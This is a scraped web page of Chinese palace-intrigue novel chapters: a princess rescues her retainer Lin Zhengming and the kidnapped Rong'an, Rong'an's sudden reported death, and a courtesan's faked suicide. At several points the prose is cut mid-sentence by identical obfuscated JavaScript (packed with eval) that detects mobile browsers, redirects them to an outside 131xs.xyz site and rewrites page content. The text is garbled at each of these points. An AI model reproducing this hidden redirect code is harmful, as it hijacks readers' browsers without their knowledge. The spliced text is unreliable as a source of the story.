他回身见荣安摔倒,又咬咬牙扶着树干站起来,脸上是强压下惊慌的镇定,倔强道:“我没事,走吧。” 他点点头,扶了她一把,安慰道:“再坚持一下,殿下很快就会来救我们的。” 荣安有些喘,心里还有些害怕,一路上林徵鸣只顾低头走,并不说话,安静的林子里只有他们两个人的呼吸声,四周黑漆漆的,她心里恐惧,面上也不敢表现出来,怕拖了别人的后腿,这会儿林徵鸣主动和她说话了,她忙应道:“你怎么知道殿下会来?” 她心里想的是,连亲生父母尚且对她不管不顾,更何况是公主殿下呢。 林徵鸣脸上却露出一个安心的笑来,低声道:“她会来的。” 荣安不知道她这种自信是从何来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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林子里传来一声怒吼,林徵鸣反应极快,立刻伸手将荣安推到一边,自己猛一闪身,躲过了飞速旋转着过来的一根木棒。站稳之后回头看去,就见林中走出一个阴沉沉的身影,真是那个大胡子匪徒。 这次他没有戴斗笠,林徵鸣终于看清了他的长相:满脸横肉,一道长长的刀疤从眉心横贯整张脸,一直延伸到下巴,他露出一个冷笑,牵动着那条刀疤宛如一条爬在脸上的多脚蜈蚣。 荣安死死压制住了下意识脱口而出的尖叫。 匪徒看向两人,笑得阴恻恻:“挺能跑的,接着跑啊!” 林徵鸣此时反倒镇定下来,淡淡道:“累了,不想跑了。” 那刀疤脸一愣,似乎没想到林徵鸣一个读书人,说话还挺横,仰天一笑,冷嗤道:“嘴还挺硬,我看你这下还怎么硬。” 说着,双手成爪,飞身上前,眼见着就要抓到林徵鸣。 林徵鸣矮身一躲,捡起地上的木棍,趁他张开双臂,瞅准位置,向那人腋下一捅,刀疤脸惊呼一声,直觉一阵酸痛,招式被打断,停在半路。 林徵鸣低声: “大包。” 趁那人还没反应过来,又移步换位,双手制住他的双臂肘关节处,狠狠一按。 “尺泽。” 那人身子一歪,头不受控制的向下一缩,林徵鸣上前一步,手往后一移,又是一按。 “少海。” 那人酸痛得矮身蹲下,林徵鸣飞身一脚,正中小腿。 “风市。” 最后朝他肩膀上猛地一踹,刀疤脸痛呼一声,被踹出去几步远,后背擦过地面,狠狠摔在树丛里。 这一幕不过发生在瞬息之间,荣安目瞪口呆地看着林徵鸣,喃喃道: “原来你会武功啊!” 刀疤脸捂着胳膊从地上站起来,看向林徵鸣的眼神染上了杀意。他从腰侧抽出一把长刀,怒吼一声,面目狰狞,用了十足的力气朝林徵鸣劈来。 毕竟是行走江湖多年的打手,这一击极快也极狠辣,林徵鸣根本无从躲避,他看着已经劈到面前的刀,竟然还有闲心想: “这下误会了,谁能相信我真不会武功。” 26. 救美 林徵鸣闭上眼睛,在听到刀刃相接的“砰”地一声时,他心中一定,有种果然不出所料的感觉。 伴随着荣安的一声惊呼,一柄刻印着黑金古朴祥云章纹的宝剑从林中横斜飞来,带着强硬的力道,狠狠打在疤脸的长刀上,刀刃一歪,刀身带着不容抗拒的力道脱离了他的控制。长剑斜插在树干上,发出铮铮鸣响。刀疤脸一惊,上前一步握紧刀柄还要再砍,一根长鞭从同一处飞来,鞭梢像毒蛇的信子,狠狠一卷,将他的手腕牢牢控住,再猛地一拉,刀疤脸的胳膊向后一拐,林徵鸣清晰地听见了骨头错位的声音。 "啊!" 不等刀疤脸恢复过来,长鞭的主人从飞马上腾空而起,一手收回长鞭,一脚猛地一踹,那刀疤脸还没回过神,就已经倒在地上打滚,抱着肩膀嗷嗷喊痛,半晌起不了身。 宋庭玉落了地,她身后的黑衣护卫一拥上前,将人捆了,林徵鸣看过去,护卫身后还捆着三个人,正是破庙外那三个绑匪。几人皆灰头土脸,看样子被抓住前也吃了一番苦头。 宋庭玉走到林子边,定定地看着灰头土脸、有些狼狈的林徵鸣,上下打量他一番,心里的石头落了地。只是面色仍然十分难看,半晌没说话。 片刻后,才转过身,一言不发地从树干上拔出自己的剑,合剑入鞘,又慢慢地将长鞭收好,别在腰间。 荣安缓了一会儿从刚才的惊心动魄中回过神来,走到宋庭玉身边郑重道:“多谢殿下救命之恩。” 宋庭玉摆摆手示意她不必多礼,道:“天色已晚,先回去休息吧,这几个匪徒就交给京兆尹了,明日你再去府衙将一切事情说清楚。” 荣安犹豫着,鼓起勇气道:“本不该劳烦殿下,但,殿下今晚可否容我在公主府休息一日?另外,能不能先不要告诉我爹娘我已经脱险的事情?荣安虽愚钝,但对这件事情也有些猜测,恐怕也不必麻烦京兆尹查什么了。” 宋庭玉微微皱眉,见荣安神情凄惶,也不好拒绝。况且人也是她救的,干脆帮人帮到底吧。 她点点头:“既然如此,那你就在府上先好好歇息一晚吧。” 几人赶回城,因着有公主府的令牌,这一来一往守城的人皆没有多问。到了公主府,宋庭玉嘱咐忍冬让府上的人不要声张,几人自去洗漱不提。 林徵鸣见宋庭玉一路上脸色不好,也不同他说话,知道她恐怕是动了气,想起林中那惊险一幕,知道自己理亏,想着明日去同她认个错,泡完澡一出来,却见陈伯拿着一个食盒,正将里面的东西往桌上摆,都是清淡的小菜点心,还有一盘酥饼,圆圆的沁着油润。 林徵鸣看见酥饼心头一动,心跳有些不受控制地变快。 陈伯见他出来,笑道:“快坐吧,殿下知道你从早上起就没用饭,特地让府里厨子准备了几道好克化的点心,快垫一垫吧。” 林徵鸣问:“殿下呢?已经歇下了吗?” 陈伯笑得有些无奈:“没呢,殿下本就觉少,今晚这一番折腾,只怕是又睡不着了,这会儿在书房呢。” 林徵鸣低下头,惭愧道:“是我不好。” 陈伯连忙摇摇头:“这是哪儿的话,此番遭遇实在是凶险至极,万幸是有惊无险,你和荣安县主能平安回来就好。” 此刻子时已过,但因着今天折腾了一通,又要同候荣安县主安置,公主府里的下人依旧忙忙碌碌。 宋庭玉没有用夜宵的习惯,她坐在书房里,安静第捧着一本书,书房里燃着淡淡的熏香,让人心绪平静。 响起轻轻的敲门声,宋庭玉以为是忍冬,头也没抬:"进。本宫说了今日不想用膳,拿下去吧。" "吱呀"一声,门打开了,接着是不同于忍冬的、有些刻意放轻的脚步声。 宋庭玉抬起头,见林徵鸣拎了一个食盒站在桌边。 她没有计较林徵鸣擅自进入她的书房,只是淡淡道:"怎么,现在用饭的地方改成本宫的书房了?" 林徵鸣没理会她的阴阳怪气,温声道:"听闻你今日午膳就没有用,又累了一天,多少吃一些吧。" 宋庭玉复又低头看着书,像是没听见林徵鸣的话,过了一会儿才道:“本宫的书房,旁人不得随意进入,谁让你来的?” 林徵鸣将食盒放在桌上,知道她是担心了自己一整日,此刻“新仇旧恨”加在一起,总是情绪不顺的。他立在原地,半晌才温声道:“对不住,今日让你担心了,是我不好。” 不知为何,林徵鸣往日温和的声音现在在宋庭玉的耳朵里莫名有些令人烦躁,这种烦躁并不是突然出现的,在她今天上午担忧林徵鸣时,在她带着人不管不顾的满世界找人时,在她看见那刀疤脸匪徒的长刀对着林徵鸣直直砍下去时,在她看到林徵鸣不躲不闪时,或许在更早的时候,这种烦躁就已经隐隐出现在了她平静的生活里。 她不喜欢这种躁动,在她眼里,林徵鸣既然入了她公主府,就名正言顺是她宋庭玉的人,无论他从前是什么身份,从现在到以后,他就只有一个身份,那就是公主府的门客,至于林徵鸣身上的秘密,宋庭玉并不在乎,她会让所有背叛她的人后悔自己的摇摆不定。 但是现在,这种笃定里染上了一种别的色彩,一种对别人的所求,这种所求让她感到有什么东西正在隐隐地失控。 而她的生活里不容许失控。 宋庭玉低下头,没有说话,只是看着眼前的书册,仿佛那是什么极其重要的东西。 林徵鸣顿了顿,见她并没有同他交谈的意思,想了想,低声解释道:“今日我回府的时候,在路上见到李记酥饼,记得你上次说想吃,又去买了一些。正打算回来,在路边那条巷子里看见了曹文益。” 宋庭玉没打断也没有回应,只是静静听着。 林徵鸣接着道:“我见他抱着个包裹,行动鬼鬼祟祟,便跟了上去,一直跟到那间善堂前,我看见他与门里的人交谈几句,又将包裹递给了里面的人。我本想回来的,结果没想到被那个有胡子长刀疤的匪徒发现,他从后面打晕了我,我醒来时,就已经在城外的破庙里了。” 宋庭玉听到他说自己被打晕时,指尖一颤。 见她只是神色淡淡地点了点头,林徵鸣知道她并没有与自己说话的意思,便轻声道:“不打扰了,你早些休息。今日多谢,救命之恩,无以为报。” 宋庭玉心中冷嗤笑,救命之恩又如何,不还是有那么多事情瞒着自己。 她不搭话,只是一心看着书册,等到察觉到那刻意放轻的脚步声渐渐远去,才抬起头,意味不明地看着被留在桌上的、孤零零的食盒。 她抿着唇站起身,心里莫名火起,一把掀开食盒的盖子,见里面放着一碗鸡汤馄饨、一碟子银丝卷,还有一碟香油拌的小菜,正是小厨房给林徵鸣送的夜宵,唯独少了那份酥饼。 她看着食盒里还冒着热气的夜宵,神情晦暗,那种隐隐的失控感再一次涌上心头。 昨日宋庭玉带人满街找人的事情并不低调,回城时又是浩浩荡荡一行人,还有四个被捆成一串的匪徒,承 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16362259|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 安侯府消息灵通,自然已经知道荣安回来了,一大早就派车到公主府来接人。经过上次的灰头土脸,承安侯显然客气规矩许多,上门时送来一大箱礼品,以感谢宋庭玉替他们找回女儿。这次他不在端着侯爵的架子,只连连道谢,又说侯夫人这几日思女心切,缠绵病榻,实在是下不了床,不能当面拜谢,还望公主海涵。 宋庭玉并不吃这一套,只平淡地扫了箱笼一眼,只说虽然理解侯夫人思念女儿,只是荣安舟车劳顿又受了惊吓,此时尚在休息,她没有将客人往外赶的道理,回不回府,还要看荣安县主自己的意思。若是承安侯不嫌弃,不如在公主府喝杯茶,待荣安醒过来,父女俩见上一面,想必荣安即使身子不适,也要回父母身边的。 她这话说得既是婉拒也是试探,一般的人家若知道爱女经历了这样一番劫难,必定是要细细照看的,承安侯脸上殷切的神情一滞,隐隐露出些不耐烦来,他也是没想到宋庭玉竟光明正大要扣下他们家的女儿,心中急切,这个荣安惯会惹事,此番闹出这样一遭祸事,还让昭平公主插手进来,如何收场。 宋庭玉自然能猜得出这背后定有蹊跷,她很是看不惯承安侯一家人,还慢悠悠地火上浇油道:“对了,昨日抓到的四个匪徒,我已命人押送进了京兆府,帮人帮到底,既然侯爷与侯夫人身体不适,就不必多思多虑,此时交给京兆尹就放心吧。” 承安侯脸上的笑容已经维持不住,心中焦急万分,他这次来一是想带回荣安县主,二就是要让昭平公主将这四个人交给承安侯府处理,这下可如何是好。 宋庭玉不发一言,只管喝茶,承安侯已经汗流浃背,心中权衡片刻,还是觉得赶紧让那四个匪徒闭嘴比较重要,挤出一个笑道:“殿下思虑周全。荣安几番受惊,恐怕还需静养,承蒙殿下照应,那就多叨扰了。” 宋庭玉不置可否,只放下茶杯,低声问:“承安侯可要去看看贵府小姐?” 承安侯犹豫片刻,还是道:“荣安在殿下府上,臣很是放心。家中夫人还需要人照顾,就不叨扰殿下了。” 宋庭玉冷冷看着承安侯步履匆匆的背影,心下冷笑。 正堂的屏风后,荣安苍白着脸走出来,她这几日本就精神高度紧张,又饿着肚子跑了那么些路,几番历险,昨日精神一松懈便发了高烧,宋庭玉说她需要静养倒也不是搪塞。 “怎么出来了?” 见人出来,宋庭玉皱眉起身,摸了摸她的手背,责怪道:“穿这么单薄,见了风又要着凉,底下的人照顾不尽心?” 荣安忙摇摇头,低声道:“不是他们,是我听见父亲来了,想来看看。” 宋庭玉一听,也沉默下来,半晌才道:“你也听见了,你父母亲都病了,家中恐怕也乱作一团,你在我这里修养是最好的,他们……恐怕也是这样想的。”这话说得牵强,偌大一个承安侯府,难道还找不出几个照顾荣安的人?怕是心里有鬼,急着遮掩别的事,不敢让荣安回去。 荣安自然也明白这一点,她凄然一笑,摇摇头道:“我都明白的。父母待我与兄长,一向有所不同,种种偏袒,我打小就明白的。京中像我这样处境的女子不少,本也没有什么好说的,只是我没想到……我没想到他们竟会为了兄长,将我推出去。” 宋庭玉奇怪道:“什么叫将你推出去?” 荣安一手抹了抹眼泪,凄然道:“殿下可知,那群匪徒,早已与兄长有联系?兄长去过道林巷里的那间益善堂,我当时被绑在那间屋子里,我什么都看见了。” 28. 设局 弄清楚荣安遇险一事的原委之后,宋庭玉每天稳坐钓鱼台,遵循着敌不动我不动的策略,不论是太子还是皇帝,谁率先发难,宋庭玉都有把握一击必中。至于皇帝的赐婚,她根本没放在心上。甚至在宫里嬷嬷进府给她丈量腰身做嫁衣时,她都有些没反应过来。 给谁做婚服?哦哦,是给我。 宋庭玉神情复杂地站在原地,等几个嬷嬷给她量尺寸,宫里尚衣局出身的嬷嬷手脚麻利,很快量完并且说了几句吉祥话,宋庭玉伸手不打笑脸人,依旧让忍冬给了赏赐,待人都走后,才叫来忍冬,好奇道:“本宫那个未婚驸马近日怎么样了?” 忍冬撇了撇嘴,虽然知道宋庭玉在开玩笑,但始终不愿意将曹文益与她家殿下提在一起,哪怕是假的也不行,鄙夷道:“还能干什么,依旧是以前那副不务正业的样子,虽然不敢明面上赌了,但整日依旧不着家,出了那么大的事,一点儿都不见他收敛几分。” 提起这件事,宋庭玉也是一叹,可惜道:“歹竹上出好笋,他们曹家竟也出了荣安这样一位好姑娘,只是生在这样的家里,到底还是可惜了。对了,近日荣安如何了?” 忍冬也疑惑道:“说来奇了,自从县主那日回了家,竟就没有什么消息了。承安侯夫人原先最是个喜欢迎来送往的人,只是这几日也不与人来往,曹家大门紧闭,人人都夹紧了尾巴,只有那个曹公子,依旧每日早出晚归,招摇过市。” 宋庭玉失笑,知道忍冬看不上他,淡笑着问:“可知道他每日都去了何处?” 忍冬摇摇头:“那倒是不清楚,左不过是些秦楼楚馆、烟花之地。” 宋庭玉疑惑:“荣安说他之前欠了赌债,王都禁赌,京兆府巡查得也甚是严格,他到底是在什么地方赌的呢?知不知道他平日爱去哪里?” 忍冬摇摇头:“说来奴婢也觉得奇怪,影一抓了人那天就问了那个匪徒,嘴巴紧得要命,问不出是哪里的人。曹公子平日里倒是爱去绿歌坊吃饭,说来真是奇怪,绿歌坊已经连着几日没有开门了,好像是从荣安县主回来那日就关门了。” 宋庭玉若有所思:“真么巧的吗?这么说来,这个绿歌坊恐怕不是一家酒楼那样简单。本宫听说王都中不少官员都爱去绿歌坊喝上几杯,因此绿歌坊又被戏称为百官楼。若真是什么赌场,恐怕京中的官员有一半都跑不掉。忍冬,让人暗中去查查。” 忍冬应下。 宋庭玉正要出院门,就见林徵鸣脚步匆匆地出了府。 宋庭玉心道,果真如忍冬说的那样,整日早出晚归的,不知道在做什么。 这几日林徵鸣没有再像以前那样常常来找她,没有大事、不得传召,都不出现在宋庭玉面前,行事越来越像个真正的门客。宋庭玉心里有些不满,她一直在等林徵鸣主动向她坦陈些什么,只是如今看来林徵鸣没有这个意思。 天星阁里青烟袅袅,淡淡的檀香味中,景元帝缓缓睁开了眼睛,他深吸一口气,再慢慢地吐出,完成最后一个周天的吐纳,才渐渐放松了身体。 他对面坐着一个须发皆白的老道士,缁衣黑冠,鹤发童颜,在一个蒲团上盘着双膝而坐,手中拿着一个桃花木拂尘。见景元帝打坐完毕,老道士开口,声音清越:“陛下近日可能安睡?” 景元帝叹了口气,疲惫道:“比前些日子好些,只是依旧睡不踏实,多亏了道长的宁神香,方能睡上几个时辰。” 老道士点点头:“心有烦扰,杂念不清,自然无法安睡宁神。陛下忧心国事,诸事繁杂,难以真正沉心于大道三千。” 景元帝苦笑:“国事倒还好,朝中几个大臣都很得力,天下也算太平。就是朕的几个儿女,实在是令人烦心。太子年纪不小了,说话做事不像样子,昭平更是不省心,曹家也辜负朕的期望,不能为君分忧。如今只盼昭平同曹家成亲之后两人都能懂事些。” 景元帝说起这些来没完没了,太子不常进宫,进宫面圣时也像老鼠见了猫,说话唯唯诺诺像个扶不起的阿斗。前些日子好不容易进宫,说的却是曹家老大为还债竟纵人绑架自己亲妹妹的事,简直荒唐。 那日他生了好大一场气,面上看是因为曹家不成器,实际上却有些得意自己给宋庭玉说的这门亲事:曹家越不成器,他就越是放心。他更生气的是太子,连这样的小事都处理不好,既不能体会上意,又没有治世之能。可惜只有这一个儿子,日后怎能担得大统? 他如此忧心,自然睡不着觉,将心中所想一一告诉面前的元一道长,话语间对太子失望不已,若不是只有这一个儿子,恐怕景元帝已有废立之意。 如此惊世之言,老道长听了却神色淡淡,面上平静如水,开口道:“陛下正值壮年,天佑元夏,自有缘法,无需为此担忧。” 他说的只是泛泛安慰之语,到了景元帝的耳朵里,却有了别的意思。他试探道:“道长是说,朕后宫中的几位妃子并非正缘,所以这么多年未曾为朕诞下麟儿?” 老道士闭上了眼,神神叨叨掐算一阵,不语。 他越是这样,景元帝越觉得自己想得对,忙上前追问道:“道长可知,朕的正缘在哪里?我元夏的正缘在哪里?” 老道一甩拂尘,神神秘秘道:“缘在正北,藏于越秀,五音而遇。” 景元帝细细品味了这几个字,像是顿悟了什么一般,站起身招手叫来李介,低低耳语几句。李介一听,领命而去。 不等宋庭玉派人去打听承安侯家近些日子在做什么,承安侯府就用一个消息震惊了满王都的人: 荣安县主殁了。 宋庭玉倏地从椅子上站起来,震惊地看着忍冬:“你说什么?” 她一手夺过忍冬手中的帖子,快速地看了起来,是承安侯府一大早派人送来的帖子,上面明明白白地写着,荣安县主自归家来,神志不愉,食不下咽,经几个郎中看了都药石无医,已经殁了。圣上闻之,怜承安侯夫妇中年丧女,赐荣安县主葬祭如郡主例,恩典从厚。明日起便在家中为荣安县主操办丧仪,依旧例停灵七日。因荣安还未出阁,又是早夭,不能安葬于曹家在江阴的祖坟,便安葬于城外孤鹤山静宁寺。 宋庭玉满脸不可思议:“荣安怎么会殁了?前些日子从公主府回去时不还好好的?” 忍冬也是一脸惊讶,回道:“奴婢打听了,听说荣安县主回到家中之后大病一场,承安侯夫妇本想请太医来看,可没等太医来,县主就……” 宋庭玉摇摇头,沉吟道:“不对,我总觉得此事没有那么简单。明日丧仪,你同我一起去承安侯府看看。对了,曹文益呢?妹妹都没了,他总不能还不着家吧?” 说起这个,忍冬神色古怪:“在是在的,只是听说曹公子近日并没有做什么出格的事,倒是迷上了听琴。” “听琴?” 忍冬点点头:“城北近日开了一家茶楼,叫越秀坊的,近来在王都十分有名。茶楼中有几位琴师,弹琴技艺甚是高超,京中文人雅士都挺爱去的。听说曹公子为了听琴,天天跑去越秀坊呢。对了,还有一件事……” 忍冬支支吾吾,不知道怎么说。 “什么事?”宋庭玉奇怪看她。 “陈伯告诉我,府里管采买的林大连着几日在越秀坊附近看见林公子,今日又看着他进去,好几天了,天天都在越秀坊呢。” 宋庭玉神色淡淡:“那有什么的,他本是府上的门客,近来府上无事,也不能天天将人拘在府里。” 忍冬嘟嘟囔囔,心里觉得不对劲,那越秀坊虽说是个正经茶楼,但谁知道呢。绿歌坊还号称是正经酒楼呢,不也暗藏玄机?她私心里并不希望林徵鸣同曹文益是一路货色。 宋庭玉并不知道她心里这些弯弯绕绕,翌日一大早便带着人去了承安侯府。 承安侯府一片缟素,前来吊唁的人络绎不绝,一进门就听见了里面夹杂着阵阵诵经声的哭声,宋庭玉心里一紧。管家见昭平公主亲自来了,赶忙将人引进副。 穿过门廊,宋庭玉注意到连门廊上都挂上了白布,来来往往的佣人们不是额上簪着白花,就是腰间系着白绸。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16370352|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阵仗也太大了些。”宋庭玉心想。当一件形式的意义大于实际的作用时,就让人不免怀疑做事者的用心了。 “承安侯夫妇真是疼爱荣安这个女儿啊,一个还未出阁的小姑娘,丧仪竟如此隆重。”路过花园,假山后传来几声议论,宋庭玉抬眼看去,没见着人,应该是藏在了山后面。 “谁说不是呢,本就是白发人送黑发人,承安侯夫人还让府中众人都给县主戴孝,这算什么规矩。” 管家神情有些尴尬,他腰间也系着一条白色绸带。他上了年纪,在承安侯府伺候了一辈子,显然也没听说过未出阁的女儿夭亡竟要全府上下纷纷戴孝的,怕公主追究他们不合礼数,忙低声道:“殿下勿怪,荣安县主在家中一向受宠,夫人这是伤心过度了。” 宋庭玉点点头,不置可否。 两人一路来到正堂前,承安侯和夫人正在堂前同人说着什么,见宋庭玉来了,忙迎上来行礼。宋庭玉免了二人的礼,见承安侯夫人眼睛红肿、面色憔悴,忙道:”二位节哀。” 承安侯夫人未语泪先流,泣道:“荣安蒙殿下厚爱,殿下既然来了,就为她上柱香吧。” 宋庭玉点点头,行至堂前,堂前摆着一口楠木棺材,甚是厚重,上面厚厚地盖了一层白布,并不能看见遗体。宋庭玉接过承安侯夫人递过来的香,端端放在灵前的香炉里。 堂前还站着两个小姑娘,眼泪未干,一个还低声抽噎着,正是许久未见的沈青禾和李幼宜。二人见宋庭玉看来,忙要行礼,宋庭玉同样摆手免了。 她行过香,问等在一旁的承安侯夫人:“几日前荣安还好好的,怎么这么突然就……” 说起这个,承安侯夫人也满脸是泪:“荣安回来时倒是没看出什么,我们也想她受了惊吓,便让她在府中好生休养,谁知当日晚上就发了烧。请了大夫来看,说是受了惊吓,开几服药就好,谁知几服药下去,人竟是越养越差了……呜呜呜,我苦命的儿啊。” 宋庭玉皱眉:“可有叫过太医?” 承安侯夫人哽咽道:“叫了,可未等太医来,就……” 宋庭玉点点头,面上无异,心里却越发奇怪。 她环顾四周,前来吊唁的人脸上神色各异,有的听说荣安之前被绑架又救回来的事,见人没救回来几天丧了命,窃窃私语是不是被匪徒做了什么;有的觉得承安侯夫妇此番阵仗太过高调,面露不屑。承安侯夫人脸上一片哀戚之色,却时不时抬头看几眼,像是要将这些议论尽收眼底。 宋庭玉转头,见李幼宜哭得像是要晕过去,沈青禾扶着她,脸上一片焦急,时不时用袖子擦擦滑落的眼泪,心下一叹,阖府之中,真正为荣安悲伤的恐怕只有这两位手帕交了。 她环视一周,没见着曹文益,不由问道:“夫人,怎么不见曹公子?” 承安侯夫人面色一僵,脸上露出一个不自然的笑来,急声道:“阿益同阿英感情好,已经在家悲伤了几日,彻夜不眠,这会儿好不容易睡下了,我就让他在房里好好休息。”又试探道:“殿下可是要见见阿益?” “不必了,让他好好歇着吧。”宋庭玉快速道,想到曹文益的那张脸,一阵倒胃口。 相顾无言,宋庭玉在这种诡异的氛围里浑身不自在,于是起身告辞。 出了府,她越想越不对劲,但又说不出是哪里不对劲。想起荣安,总是一阵恍惚。 她不太相信荣安就这么死了,但又说不好这种直觉究竟是自己的一厢情愿,还是真的另有隐情。 往年的王都从来没有这样热闹过,如今不仅是宗室贵族,就连街头百姓都在议论承安侯府的事,先是县主失踪,承安侯满大街找人;又是县主被昭平公主救回来了,人没事,只是受了惊吓;县主被绑案还未查清,又听县主竟突然死了,街头巷尾纷纷议论承安侯府这是怎么了,是不是应该去庙里拜一拜。 本想着总该平静几日了吧,没想到荣安县主丧仪第一日的晚上,承安侯府又出了一件大事: 城北越秀坊的头牌琴师,念雨姑娘,自尽了。 29. 反击 “一个琴伎自尽了,同承安侯府有什么关系?” 宋庭玉看着桌上的花瓶,里面是新采的海棠,她正一枝一枝地细细修剪着。 忍冬面色古怪,看宋庭玉修剪完了,将手中洗干净的帕子递给她:“那念雨姑娘是越秀坊的头牌琴伎,听说琵琶弹得极好,不少达官贵人都爱去越秀坊一听清音。越秀坊是正经茶楼,不论歌伎舞伎都是只献艺,有些姑娘傲气得很,百两金都请不动的也有,这念雨姑娘就是其中翘楚。” 宋庭玉点点头道:“若真有这等绝技,有几分傲气也正常,只是去这种茶楼里听琴的,怕没几人能欣赏吧?” “可不是呢,这位曹公子就是其中一个,沽名钓誉、附庸风雅,整天泡在越秀阁就为听念雨姑娘弹一首曲子,若是听琴也就罢了,坏就坏在他昨日喝了酒,要念雨姑娘同他到雅间弹琴,念雨姑娘不依,曹公子便大闹了越秀坊,晚上趁人不备,偷偷上了琴伎们住的地方非礼念雨姑娘,被坊里的人打走了。今日一早伺候的人发现念雨姑娘留了条子,投湖自尽了,越秀坊没了台柱子,嚷嚷着报了官,眼下京兆尹派人在芷湖打捞尸身,湖边几里全是官兵围着,京兆府一大早就去承安侯府传了人去问话呢。” 宋庭玉“咔嚓”一声,剪断了一枝开得正好的海棠,忍冬惊讶看她,却见她拿着剪子,若有所思。 王都十里外的长亭,一辆朴素的马车停在路边。 旁边隐蔽的林子里,站着两个人,其中一个身量纤细,穿着长长的斗篷,戴着兜帽,怀里抱着一把琵琶。一阵风吹过,她伸手摘下兜帽,看着面前面色平静的男人。 “念雨多谢林公子救命之恩。”她怀抱着琴,盈盈一拜。 林徵鸣侧身避开,淡淡道:“不用。今日王都里会有人大加搜寻,你快走吧。” 念雨抬起头,水盈盈的眼睛看向林徵鸣,神情中还带着几分惊魂未定。这几日对她来说就像一场噩梦。她本是江南画舫上的歌女,同越秀坊的老板一道北上来到王都,本想着从此安稳下来,没想到几日前她准备歇下时,有一个人推开了她的房门。 那人一身黑衣,神色阴郁,面色苍白,盯着念雨端详了许久,口中喃喃说着什么。 念雨惊慌失措地站起身,一把拢好身上的寝衣,厉声道:“你们是谁,怎么进来的?”她欲喊人,却见那黑衣人身后跟着一个蓝衣侍从,侍从手里死死钳住了一个人,正是越秀坊的老板。 她恐惧地往后退了几步,就听那黑衣人向身后问道:“是她吗?”他的声音嘶哑,像一条毒蛇爬上了念雨的手臂,她一阵恶寒。 那黑衣人身后走出另一个灰衣人,戴着斗笠,看不清脸,只不过手中拿着一柄拂尘,看样子像个道士。灰衣人上下打量她一番,又眯着眼睛算了片刻,点点头道:“正缘在此。” 黑衣人脸上露出一个嘲讽的笑:“一个歌女,也配!” 灰衣人低声道:“不过是容纳天降之子的肉身罢了,若能事成也算她功德圆满。” 黑衣人站在原地思索片刻,点点头,向身后一摆手。几个蓝衣侍从上来就钳制住了她。 念雨还没意识到发生了什么,她根本听不懂他们的话,拼命挣扎,就见那个黑衣人向自己走来,用一个帕子捂住了自己,她眼前一黑,就昏了过去。 之后的事情念雨只要一想起来就浑身发冷,那晚令人昏昏欲睡的浓郁的香气,帐子外晃动的火烛,还有那个趴在她身上的,衰老的、丑恶的人,他干枯地向树枝的手,已经湿粘粘的、如同蛇一样在她身上滑过的掌心。 之后,念雨不再弹琴接客,每天只住在越秀坊,就有人送奢华的吃食衣物来,坊中姐妹都道她是交了大运,她却恨不得一头撞死。 还有那个日日纠缠不休的曹文益,一开始说喜欢她的琴,后来她发现,他与那个伤害她的人没有区别,同越秀坊里每一个来听琴的人都没有区别,他们看着她时,那充满欲望的、轻佻的眼神。 只有林公子不一样。 只有他,在第一次来听她弹琴时,没有像其他人一样拍手叫好,而是淡淡道:“你弹错了。” 他总是这样平静地听着她弹琴,眼神无悲无喜,听完就走,并不多留,可也是他,将她从水火中拉了出来。 念雨从自己的回忆中回过神,欲言又止地看向林徵鸣,软声道:“念雨无依无靠,如水中浮萍,林公子救命之恩,无以为报,此生愿服侍公子,当牛做马,以报公子大恩。” 林徵鸣却摇摇头:“你并不欠我什么,我早告诉过你,我救你,是另有目的。” 念雨神情一滞,试探道:“不知林公子是为何事?若有念雨能帮得上的,定不负所托。” 林徵鸣像是想起什么,犹豫片刻,还是道:“我想同你确认一番,你说那日绑你走的人,带了一群蓝衣侍从,是什么样的蓝衣?” 念雨脸上一僵,顿了顿,才深吸一口气,苦笑道:“那日我惊慌不已,对于细节早已经记不清,只记得那些人的衣着华丽,不像普通人穿的,领头那个黑衣人虽是个男子,说话声音却很细弱,又有些嘶哑,身后那个灰衣人是个道士,手中拿着拂尘。” 林徵鸣见她神情痛苦,不忍再多问,只转移话题道:“你如今不能再出现在王都。我虽不能确定那些人是谁,但心中已有猜测,若是真的,你恐怕也不能留在元夏了。还是我之前同你说的,我会派人护送你去南梁,南梁有我的老师在,他会好好安置你,日后你或是弹琴,或是做些别的什么,总归是自由身。” 对于离开元夏前往南梁,念雨并无什么波动,她飘零惯了,原本以为越秀坊会是她最后的归宿,如今看来也不过是奢望。 她眼里含泪,看着林徵鸣,哽咽道:“我与公子素昧平生,公子为何救我?” 林徵鸣思索片 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374990|183739||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 